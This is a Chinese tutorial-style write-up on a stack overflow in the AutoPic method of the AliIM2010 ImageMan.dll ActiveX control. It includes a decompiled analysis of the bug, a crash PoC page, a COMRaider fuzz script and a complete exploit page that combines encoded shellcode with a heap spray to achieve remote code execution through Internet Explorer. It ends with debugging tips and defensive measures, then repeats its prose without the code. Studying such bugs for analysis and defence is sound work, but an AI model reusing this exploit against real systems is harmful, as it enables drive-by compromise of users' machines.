漏洞分析学习之某ActiveX控件imageMan.dll栈溢出
字数 1693 2025-08-26 22:12:03

ActiveX控件imageMan.dll栈溢出漏洞分析与利用教学文档

1. 漏洞概述

本漏洞存在于阿里旺旺(AliIM2010)的ActiveX控件ImageMan.dll中,具体是AutoPic函数存在栈溢出漏洞。攻击者可以通过精心构造的网页触发该漏洞,最终实现远程代码执行。

2. 环境配置

2.1 测试环境

组件 推荐配置 备注
操作系统 Windows XP SP3 简体中文版
虚拟机 VMware 15.5
调试器 OllyDbg (吾爱破解版)
反汇编器 IDA Pro 7.0
漏洞软件 AliIM2010_taobao 6.50.00C

2.2 工具准备

  • 漏洞战争随书资料(可从GitHub下载)
  • COMRaider v0.0.134 (用于Fuzzing测试)
  • Windbg (可选)

3. 漏洞分析

3.1 漏洞函数分析

漏洞位于ImageMan.dll中的AutoPic函数,关键代码如下:

int __stdcall AutoPic(int a1, LPCWSTR lpWideCharStr, int a3)
{
  // ... 变量声明省略 ...
  
  WideCharToMultiByte(0, 0, lpWideCharStr, -1, &FullPath, 260, 0, 0);
  v7 = strrchr(&FullPath, '\\');
  mbsnbcpy(&Str, &FullPath, v7 - &FullPath + 1); // 触发崩溃的关键点
  // ... 后续代码省略 ...
}

3.2 漏洞触发机制

  1. WideCharToMultiByte将输入的宽字符串转换为多字节字符串
  2. strrchr查找字符串中最后一个反斜杠\的位置
  3. mbsnbcpy执行复制操作,复制的长度为v7 - &FullPath + 1

漏洞成因

  • 当输入字符串不包含反斜杠\时,strrchr返回NULL
  • NULL - &FullPath + 1将产生一个极大的长度值
  • 导致mbsnbcpy复制时发生栈溢出

4. POC分析

4.1 基本POC

<html>
<body>
<object classid="clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF" id="target"></object>
<script>
var buffer = '';
while (buffer.length < 1111) buffer+="A";
target.AutoPic(buffer,"defaultV");
</script>
</body>
</html>

4.2 POC关键点

  1. 通过<object>标签加载ActiveX控件
  2. 使用控件的CLSID: 128D0E38-1FF4-47C3-B0F7-0BAF90F568BF
  3. 构造超长字符串(1111个"A")作为参数调用AutoPic方法

5. Fuzzing测试

使用COMRaider工具进行自动化Fuzzing测试:

  1. 加载目标DLL: C:\Program Files\AliWangWang\Pictool\ImageMan.dll
  2. 选择AutoPic方法进行Fuzzing
  3. COMRaider生成的测试脚本示例:
<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF' id='target' />
<script language='vbscript'>
targetFile = "C:\Program Files\AliWangWang\Pictool\ImageMan.dll"
prototype  = "Sub AutoPic ( ByVal szFileName As String ,  ByRef szOut As String )"
memberName = "AutoPic"
progid     = "IMAGEMANLib.ImageManager"
argCount   = 2

arg1=String(2068, "A")
arg2="defaultV"

target.AutoPic arg1 ,arg2 
</script></job></package>

6. 漏洞利用

6.1 利用原理

  1. 通过堆喷射(Heap Spray)技术在内存中布置Shellcode
  2. 利用栈溢出覆盖返回地址,跳转到布置好的Shellcode

6.2 完整EXP

<html>
<body>
<object classid="clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF" id="target"></object> 
<script>
shellcode = unescape(
'%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');

nops=unescape('%u9090%u9090');
headersize =20;
slackspace= headersize + shellcode.length;

while(nops.length < slackspace) nops+= nops;
fillblock= nops.substring(0, slackspace);
block= nops.substring(0, nops.length- slackspace);

while( block.length+ slackspace<0x50000) block= block+ block+ fillblock;
memory=new Array();

for( counter=0; counter<200; counter++) 
    memory[counter]= block + shellcode;
s='';
for( counter=0; counter<=1000; counter++) 
    s+=unescape("%0D%0D%0D%0D");

target.AutoPic(s,"defaultV");
</script>
</body>
</html>

6.3 堆喷射技术要点

  1. JavaScript中字符串赋值不会立即分配新内存,只有进行连接操作时才会分配
  2. 使用unescape函数将编码的Shellcode转换为二进制数据
  3. 通过大量分配内存块增加Shellcode命中的概率

7. 调试技巧

7.1 调试方法

  1. 附加进程:需要附加IE浏览器进程而非阿里旺旺进程
  2. Windbg命令sxe ld:ImageMan.dll 在DLL加载时中断
  3. 栈回溯:通过堆栈窗口找到返回地址,逐步追溯漏洞触发点

7.2 常见问题解决

  • OllyDbg无法中断:可能是由于进入了Ring0层,尝试更换OllyDbg版本或配置
  • Windbg中断在gdiplus.dll:这是正常现象,需继续执行直到触发漏洞

8. 防御措施

  1. 禁用或卸载有漏洞的ActiveX控件
  2. 升级到修复漏洞的阿里旺旺版本
  3. 在IE中设置高安全级别,禁止未签名的ActiveX控件运行

9. 参考资源

  1. 漏洞战争随书资料(GitHub)
  2. COMRaider工具: http://labs.idefense.com
  3. MSDN文档: mbsnbcpy, strrchr, WideCharToMultiByte等函数说明

10. 总结

本漏洞是典型的ActiveX控件栈溢出漏洞,通过分析可以学习到:

  1. ActiveX控件的漏洞分析方法
  2. 栈溢出漏洞的触发原理
  3. 堆喷射技术的实际应用
  4. 复杂环境下的调试技巧
ActiveX控件imageMan.dll栈溢出漏洞分析与利用教学文档 1. 漏洞概述 本漏洞存在于阿里旺旺(AliIM2010)的ActiveX控件ImageMan.dll中,具体是 AutoPic 函数存在栈溢出漏洞。攻击者可以通过精心构造的网页触发该漏洞,最终实现远程代码执行。 2. 环境配置 2.1 测试环境 | 组件 | 推荐配置 | 备注 | |------|----------|------| | 操作系统 | Windows XP SP3 简体中文版 | | | 虚拟机 | VMware 15.5 | | | 调试器 | OllyDbg (吾爱破解版) | | | 反汇编器 | IDA Pro 7.0 | | | 漏洞软件 | AliIM2010_ taobao 6.50.00C | | 2.2 工具准备 漏洞战争随书资料(可从GitHub下载) COMRaider v0.0.134 (用于Fuzzing测试) Windbg (可选) 3. 漏洞分析 3.1 漏洞函数分析 漏洞位于 ImageMan.dll 中的 AutoPic 函数,关键代码如下: 3.2 漏洞触发机制 WideCharToMultiByte 将输入的宽字符串转换为多字节字符串 strrchr 查找字符串中最后一个反斜杠 \ 的位置 mbsnbcpy 执行复制操作,复制的长度为 v7 - &FullPath + 1 漏洞成因 : 当输入字符串不包含反斜杠 \ 时, strrchr 返回NULL NULL - &FullPath + 1 将产生一个极大的长度值 导致 mbsnbcpy 复制时发生栈溢出 4. POC分析 4.1 基本POC 4.2 POC关键点 通过 <object> 标签加载ActiveX控件 使用控件的CLSID: 128D0E38-1FF4-47C3-B0F7-0BAF90F568BF 构造超长字符串(1111个"A")作为参数调用 AutoPic 方法 5. Fuzzing测试 使用COMRaider工具进行自动化Fuzzing测试: 加载目标DLL: C:\Program Files\AliWangWang\Pictool\ImageMan.dll 选择 AutoPic 方法进行Fuzzing COMRaider生成的测试脚本示例: 6. 漏洞利用 6.1 利用原理 通过堆喷射(Heap Spray)技术在内存中布置Shellcode 利用栈溢出覆盖返回地址,跳转到布置好的Shellcode 6.2 完整EXP 6.3 堆喷射技术要点 JavaScript中字符串赋值不会立即分配新内存,只有进行连接操作时才会分配 使用 unescape 函数将编码的Shellcode转换为二进制数据 通过大量分配内存块增加Shellcode命中的概率 7. 调试技巧 7.1 调试方法 附加进程 :需要附加IE浏览器进程而非阿里旺旺进程 Windbg命令 : sxe ld:ImageMan.dll 在DLL加载时中断 栈回溯 :通过堆栈窗口找到返回地址,逐步追溯漏洞触发点 7.2 常见问题解决 OllyDbg无法中断 :可能是由于进入了Ring0层,尝试更换OllyDbg版本或配置 Windbg中断在gdiplus.dll :这是正常现象,需继续执行直到触发漏洞 8. 防御措施 禁用或卸载有漏洞的ActiveX控件 升级到修复漏洞的阿里旺旺版本 在IE中设置高安全级别,禁止未签名的ActiveX控件运行 9. 参考资源 漏洞战争随书资料(GitHub) COMRaider工具: http://labs.idefense.com MSDN文档: mbsnbcpy , strrchr , WideCharToMultiByte 等函数说明 10. 总结 本漏洞是典型的ActiveX控件栈溢出漏洞,通过分析可以学习到: ActiveX控件的漏洞分析方法 栈溢出漏洞的触发原理 堆喷射技术的实际应用 复杂环境下的调试技巧